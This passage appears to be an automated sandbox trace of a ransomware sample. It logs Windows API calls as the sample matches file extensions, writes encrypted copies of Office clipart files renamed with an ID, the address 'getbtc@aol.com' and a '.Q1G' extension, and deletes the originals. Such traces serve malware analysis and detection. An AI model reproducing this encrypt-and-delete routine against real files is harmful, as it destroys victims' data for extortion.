63 [0247.977] lstrlenW (lpString=".1cd") returned 4 [0247.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.977] lstrlenW (lpString=".jpg") returned 4 [0247.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.977] lstrlenW (lpString=".doc") returned 4 [0247.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.977] lstrlenW (lpString=".docx") returned 5 [0247.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.978] lstrlenW (lpString=".pdf") returned 4 [0247.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.978] lstrlenW (lpString=".xls") returned 4 [0247.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.978] lstrlenW (lpString=".xlsx") returned 5 [0247.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.978] lstrlenW (lpString=".ppt") returned 4 [0247.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.978] lstrlenW (lpString=".zip") returned 4 [0247.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.978] lstrlenW (lpString=".rar") returned 4 [0247.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.978] lstrlenW (lpString=".bz2") returned 4 [0247.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.978] lstrlenW (lpString=".7z") returned 3 [0247.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.978] lstrlenW (lpString=".dbf") returned 4 [0247.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.978] lstrlenW (lpString=".1cd") returned 4 [0247.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0247.978] lstrlenW (lpString=".jpg") returned 4 [0247.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.978] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.978] lstrlenW (lpString="DD01157_.WMF") returned 12 [0247.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0247.999] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3588) returned 1 [0247.999] CloseHandle (hObject=0x360) returned 1 [0247.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0248.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.201] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.202] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.210] GetLastError () returned 0x0 [0248.210] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xe04, lpOverlapped=0x0) returned 1 [0248.212] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0248.213] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.213] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.213] SetEndOfFile (hFile=0x3c0) returned 1 [0248.213] CloseHandle (hObject=0x3c0) returned 1 [0248.213] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.213] SetEndOfFile (hFile=0x360) returned 1 [0248.215] CloseHandle (hObject=0x360) returned 1 [0248.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.216] lstrlenW (lpString=".doc") returned 4 [0248.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString=".docx") returned 5 [0248.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.216] lstrlenW (lpString=".pdf") returned 4 [0248.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString=".xls") returned 4 [0248.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.216] lstrlenW (lpString=".xlsx") returned 5 [0248.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.216] lstrlenW (lpString=".ppt") returned 4 [0248.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.216] lstrlenW (lpString=".zip") returned 4 [0248.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.216] lstrlenW (lpString=".rar") returned 4 [0248.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString=".bz2") returned 4 [0248.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString=".7z") returned 3 [0248.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.216] lstrlenW (lpString=".dbf") returned 4 [0248.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.216] lstrlenW (lpString=".1cd") returned 4 [0248.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.216] lstrlenW (lpString=".jpg") returned 4 [0248.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.217] lstrlenW (lpString=".doc") returned 4 [0248.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.217] lstrlenW (lpString=".docx") returned 5 [0248.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.217] lstrlenW (lpString=".pdf") returned 4 [0248.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.217] lstrlenW (lpString=".xls") returned 4 [0248.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.217] lstrlenW (lpString=".xlsx") returned 5 [0248.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.217] lstrlenW (lpString=".ppt") returned 4 [0248.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.217] lstrlenW (lpString=".zip") returned 4 [0248.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.217] lstrlenW (lpString=".rar") returned 4 [0248.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.217] lstrlenW (lpString=".bz2") returned 4 [0248.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.217] lstrlenW (lpString=".7z") returned 3 [0248.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.217] lstrlenW (lpString=".dbf") returned 4 [0248.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.217] lstrlenW (lpString=".1cd") returned 4 [0248.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0248.217] lstrlenW (lpString=".jpg") returned 4 [0248.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.217] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.217] lstrlenW (lpString="DD01167_.WMF") returned 12 [0248.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.218] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2080) returned 1 [0248.218] CloseHandle (hObject=0x360) returned 1 [0248.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0248.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.218] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.218] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.219] GetLastError () returned 0x0 [0248.219] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x820, lpOverlapped=0x0) returned 1 [0248.220] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x830, lpOverlapped=0x0) returned 1 [0248.221] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.221] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.221] SetEndOfFile (hFile=0x3c0) returned 1 [0248.221] CloseHandle (hObject=0x3c0) returned 1 [0248.221] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.221] SetEndOfFile (hFile=0x360) returned 1 [0248.223] CloseHandle (hObject=0x360) returned 1 [0248.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0248.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.224] lstrlenW (lpString=".doc") returned 4 [0248.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString=".docx") returned 5 [0248.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.224] lstrlenW (lpString=".pdf") returned 4 [0248.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString=".xls") returned 4 [0248.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.224] lstrlenW (lpString=".xlsx") returned 5 [0248.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.224] lstrlenW (lpString=".ppt") returned 4 [0248.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.224] lstrlenW (lpString=".zip") returned 4 [0248.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.224] lstrlenW (lpString=".rar") returned 4 [0248.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString=".bz2") returned 4 [0248.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.224] lstrlenW (lpString=".7z") returned 3 [0248.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString=".dbf") returned 4 [0248.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString=".1cd") returned 4 [0248.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString=".jpg") returned 4 [0248.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString=".doc") returned 4 [0248.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString=".docx") returned 5 [0248.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.225] lstrlenW (lpString=".pdf") returned 4 [0248.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString=".xls") returned 4 [0248.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.225] lstrlenW (lpString=".xlsx") returned 5 [0248.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.225] lstrlenW (lpString=".ppt") returned 4 [0248.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString=".zip") returned 4 [0248.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.225] lstrlenW (lpString=".rar") returned 4 [0248.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString=".bz2") returned 4 [0248.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString=".7z") returned 3 [0248.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString=".dbf") returned 4 [0248.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.225] lstrlenW (lpString=".1cd") returned 4 [0248.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0248.226] lstrlenW (lpString=".jpg") returned 4 [0248.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.226] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.226] lstrlenW (lpString="DD01168_.WMF") returned 12 [0248.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.226] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2004) returned 1 [0248.226] CloseHandle (hObject=0x360) returned 1 [0248.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0248.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.227] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.227] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.227] GetLastError () returned 0x0 [0248.227] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7d4, lpOverlapped=0x0) returned 1 [0248.228] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7e0, lpOverlapped=0x0) returned 1 [0248.229] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.229] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.229] SetEndOfFile (hFile=0x3c0) returned 1 [0248.229] CloseHandle (hObject=0x3c0) returned 1 [0248.230] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.230] SetEndOfFile (hFile=0x360) returned 1 [0248.231] CloseHandle (hObject=0x360) returned 1 [0248.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0248.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.232] lstrlenW (lpString=".doc") returned 4 [0248.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.232] lstrlenW (lpString=".docx") returned 5 [0248.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.232] lstrlenW (lpString=".pdf") returned 4 [0248.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.232] lstrlenW (lpString=".xls") returned 4 [0248.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.232] lstrlenW (lpString=".xlsx") returned 5 [0248.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.233] lstrlenW (lpString=".ppt") returned 4 [0248.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.233] lstrlenW (lpString=".zip") returned 4 [0248.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.233] lstrlenW (lpString=".rar") returned 4 [0248.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString=".bz2") returned 4 [0248.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString=".7z") returned 3 [0248.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.233] lstrlenW (lpString=".dbf") returned 4 [0248.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.233] lstrlenW (lpString=".1cd") returned 4 [0248.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.233] lstrlenW (lpString=".jpg") returned 4 [0248.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0248.233] lstrlenW (lpString=".doc") returned 4 [0248.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 